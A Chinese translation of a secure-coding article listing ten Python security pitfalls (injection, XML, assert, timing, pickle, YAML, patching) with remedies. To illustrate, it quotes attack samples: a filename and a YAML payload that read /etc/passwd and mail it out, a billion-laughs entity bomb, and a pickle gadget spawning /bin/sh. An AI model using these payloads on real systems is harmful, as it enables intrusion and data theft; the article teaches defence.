學(xué)習(xí) Python 這么多年,掉過的那些安全漏洞
編寫安全的代碼很難。學(xué)一門語言、一個模塊或一個框架時,你學(xué)到的是它應(yīng)該怎么用。而在安全方面,你需要考慮它們能怎樣被濫用。Python 也不例外,即使標(biāo)準(zhǔn)庫的文檔里已經(jīng)清清楚楚地寫出了那些錯誤的用法。即使如此,筆者與許多 Python 開發(fā)者交談時也發(fā)現(xiàn)他們根本不知道這些。
以下是筆者多年開發(fā)過程中經(jīng)常遇到的 10 條 Python 應(yīng)用中的陷阱,排名不分先后,希望為正在學(xué)習(xí) Python 的開發(fā)者們有所助益。
輸入注入
輸入注入攻擊被應(yīng)用得非常廣泛。有許多種注入方式,能夠影響到所有語言、框架和環(huán)境。
首先是 SQL 注入。如果不使用 ORM,而是直接通過字符串結(jié)合變量的方式書寫 SQL 查詢,就有 SQL 注入的可能性。我看過許多代碼試圖利用轉(zhuǎn)義符防止 SQL 注入。事實(shí)上,轉(zhuǎn)義符做不到。
各種復(fù)雜的 SQL 注入方式:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
命令注入發(fā)生在通過 popen、subprocess、os.system 調(diào)用進(jìn)程,并傳遞變量作為參數(shù)時發(fā)生。調(diào)用本地命令時,參數(shù)變量有可能會被人為設(shè)置成惡意值。以下這段代碼(https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html)由用戶提供文件名,然后調(diào)用子進(jìn)程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻擊者可以將變量名設(shè)置為 "; cat /etc/passwd | mail them@domain.com 或者任何類似的危險(xiǎn)命令。
應(yīng)對方式:
如果你使用了 Web 框架,就利用 Web 框架提供的工具對輸入進(jìn)行凈化。除非有足夠的理由,否則不要手工拼寫 SQL 查詢。大部分 ORM 都會提供凈化的手段。
對于命令行,可以使用 shlex 模塊來正確地對輸入進(jìn)行轉(zhuǎn)義(https://docs.python.org/3/library/shlex.html#shlex.quote)。
分析XML
如果應(yīng)用程序要加載并解析 XML 文件,那么你用的 XML 標(biāo)準(zhǔn)庫模塊有可能會受到攻擊。有幾種通過 XML 進(jìn)行攻擊的常見手段。大多數(shù)都是 DoS 攻擊(拒絕服務(wù)攻擊,目的是讓系統(tǒng)癱瘓,而不是竊取數(shù)據(jù))。這些攻擊很常用,在需要解析外部 XML 文件(即不被信任的 XML 文件)時尤甚。
一種攻擊叫做“billion laughs”攻擊,該方法由于其內(nèi)容通常包含大量“l(fā)ol”(十億個)而得名。其原理是 XML 可以引用實(shí)體,因此當(dāng) XML 解析器加載該文件時,它會占用幾個 G 的內(nèi)存。不信的話試試看。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
另一種攻擊方法叫做外部實(shí)體擴(kuò)展。XML 支持從外部 UR L引用實(shí)體,因此 XML 解析器通常會不加懷疑地讀取并加載外部資源。“由于這些請求都來自內(nèi)部可信賴的 IP 地址,不是外部地址,因此攻擊者可以用這個方法繞過防火墻,訪問到本來無法訪問的資源。”
另一種需要考慮的情況就是你在解析 XML(如配置文件、遠(yuǎn)程 API)的時候依賴的第三方軟件包。你甚至都沒辦法知道哪個依賴會受到這種攻擊。
那么 Python 如何?實(shí)際上標(biāo)準(zhǔn)庫的模塊 etree、DOM、xmlrpc 都廣泛受到這種攻擊的影響。這里有詳細(xì)的文檔:https://docs.python.org/3/library/xml.html#xml-vulnerabilities
應(yīng)對方法:
使用 defusedxml(https://pypi.org/project/defusedxml/)替換標(biāo)準(zhǔn)庫模塊。這個模塊能防止這類攻擊。
斷言語句
不要用斷言語句阻斷用戶不應(yīng)該訪問的代碼。比如這個簡單的例子:
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
默認(rèn)情況下 Python 執(zhí)行時 __debug__ 為真,但在生產(chǎn)環(huán)境中通常會做一些優(yōu)化,這樣所有斷言語句都不會被運(yùn)行,從而無論用戶不是不是管理員都能訪問到后面的代碼。
應(yīng)對方法:
斷言語句只用來給開發(fā)者提供信息,例如在單元測試中使用,或者用來防止錯誤的 API 用法。
計(jì)時攻擊
計(jì)時攻擊的基本原理是通過測量代碼的執(zhí)行時間,來判斷代碼的行為和算法。計(jì)時攻擊需要精確的時間測量,所以通常不會在高延遲的遠(yuǎn)程網(wǎng)絡(luò)上實(shí)施。由于絕大多數(shù) Web 應(yīng)用的延遲變化很大,因此在 HTTP Web 服務(wù)器上實(shí)施計(jì)時攻擊幾乎不可能。
但是,如果有個提示輸入密碼的命令行應(yīng)用,那么攻擊者就可以寫個簡單的腳本,測量它比較給定值與實(shí)際密碼所花費(fèi)的時間。例子在此(http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/)。
有一些用 Python 寫的非常好的例子,比如這個基于 SSH 的計(jì)時攻擊(https://github.com/c0r3dump3d/osueta)。可以去看看它們是如何工作的。
應(yīng)對方法:
使用 Python 3.5 新加入的 secrets.compare_digest 來比較密碼和其他私密值。
被污染的 site-packages 或 import 路徑
Python 的 import 系統(tǒng)非常靈活。這在編寫測試程序或需要重載核心功能時很方便。
但是,它是 Python 最大的安全漏洞之一。
在 site-packages 里安裝第三方軟件包,不論是在虛擬環(huán)境中還是在全局的 site-packages(全局方式強(qiáng)烈不建議)中安裝,都會暴露出那些軟件包中的安全漏洞。
曾經(jīng)發(fā)生過把執(zhí)行任意代碼的包用與流行軟件包相似的名字發(fā)布到 PyPi 上的事情(http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/)。最大的事故到現(xiàn)在依然沒有被真正解決,盡管它只是為了提醒人們而沒有造成任何危害……
另一種能想到的情況就是依賴的依賴(以及進(jìn)一步的依賴等)。這有可能會引入脆弱性,還有可能通過 import 系統(tǒng)重載 Python 的核心功能。
應(yīng)對方法:
對軟件包進(jìn)行審查。看看 PyUp.io 和他們的安全服務(wù)(http://pyup.io/)。所有應(yīng)用都使用虛擬環(huán)境,全局 site-packages 越干凈越好。檢查包的簽名。
臨時文件
在 Python 中創(chuàng)建臨時文件通常都要用 mktemp() 生成文件名,然后利用該文件名創(chuàng)建文件。“這種方式并不安全,因?yàn)榱硪粋€進(jìn)程可能會在你調(diào)用 mktemp() 和后面創(chuàng)建文件的調(diào)用之間創(chuàng)建一個文件。”(https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables)這意味著這種方法可以誘導(dǎo)你的應(yīng)用程序加載錯誤的數(shù)據(jù),或泄露臨時文件的數(shù)據(jù)。
最新版本的 Python 中,如果調(diào)用了錯誤的方法,就會引發(fā)運(yùn)行時警告。
應(yīng)對方法:
需要創(chuàng)建臨時文件時,使用 tempfile 模塊和 mkstemp 函數(shù)(https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)。
使用 yaml.load
引用 PyYAML 文檔中的警告:
警告:對任意不可信的來源中的數(shù)據(jù)調(diào)用 yaml.load 是不安全的!yaml.load 和 pickle.load 同樣強(qiáng)大,可能會調(diào)用任何 Python 函數(shù)。
流行的 Python 項(xiàng)目 Ansible 中有這樣一個漂亮的例子(https://www.talosintelligence.com/reports/TALOS-2017-0305)。給 Ansible Vault 提供下面這段(合法的)YAML。它就會利用文件中提供的參數(shù)調(diào)用 os.system() 。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此,加載用戶提供的 YAML 文件就會受到這種攻擊。
應(yīng)對方法:
除非有足夠的理由,否則永遠(yuǎn)使用 yaml.safe_load。
Pickles
反序列化 pickle 的數(shù)據(jù)和 YAML 一樣脆弱。Python 類可以定義魔術(shù)方法 __reduce__,該方法可以返回字符串,也可以返回一個元組,其中包含可調(diào)用的對象和參數(shù),在 pickle 的時候就會被調(diào)用。攻擊者可以用這種方式調(diào)用某個子進(jìn)程模塊,從而在系統(tǒng)上執(zhí)行任意命令。
這個例子(https://blog.nelhage.com/2011/03/exploiting-pickle/)演示了怎樣在 Python 2 上通過 pickle 一個類來打開 shell。這里(https://lincolnloop.com/blog/playing-pickle-security/)還有更多關(guān)于如何攻擊 pickle 的例子。
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
應(yīng)對方法:
決不要從任何不可信或未認(rèn)證的數(shù)據(jù)源 unpickle 數(shù)據(jù)。使用其他序列化方法,如 JSON。
使用系統(tǒng)的 Python 運(yùn)行時,未打補(bǔ)丁
大多數(shù) POSIX 系統(tǒng)都自帶 Python 2,版本一般都很老。
由于 Python(即 CPython)是用 C 寫的,有時 Python 解釋器本身也有漏洞。通常與 C 語言有關(guān)的漏洞都在內(nèi)存分配方面,即緩沖區(qū)溢出漏洞。
多年來 CPython 有許多溢出漏洞,這些漏洞都被后續(xù)的發(fā)布修復(fù)了。
所以,只要你及時打補(bǔ)丁,你就是安全的。
這里有個 Python 2.7.13 的例子(https://www.cvedetails.com/cve/CVE-2017-1000158/),整數(shù)溢出允許執(zhí)行任意代碼。Ubuntu 17 之前的操作系統(tǒng)用的都是這個版本(如果沒打補(bǔ)丁的話)。
應(yīng)對方法:
在產(chǎn)品環(huán)境中使用最新版的 Python,并記得打補(bǔ)丁!
不給依賴補(bǔ)丁
與給運(yùn)行時打補(bǔ)丁類似,依賴也要定期打補(bǔ)丁。
我認(rèn)為從 PyP 上安裝“固定”版本號的 Python 包是個很差勁的想法。這種想法其實(shí)就是“這些版本能正常工作”,因此大家都不再管它們。
我上面提到的這些脆弱性,如果出現(xiàn)在應(yīng)用程序用到的軟件包中,那么也非常危險(xiǎn)。而那些軟件包的開發(fā)者們也在不斷地修復(fù)這些安全漏洞。
應(yīng)對方法:
用 PyUp.io 之類的服務(wù)檢查更新,把新的補(bǔ)丁合并到你的應(yīng)用程序中,運(yùn)行測試保證軟件包都是最新的。
用 InSpec 等工具驗(yàn)證產(chǎn)品環(huán)境中安裝的版本,確保打了正確的補(bǔ)丁。
參考:https://access.redhat.com/blogs/766093/posts/2592591
原文:https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03
作者:Anthony Shaw,Dimension Data的創(chuàng)新與科技開發(fā)總監(jiān)。
工程師必備
- 項(xiàng)目客服
- 培訓(xùn)客服
- 平臺客服
TOP




















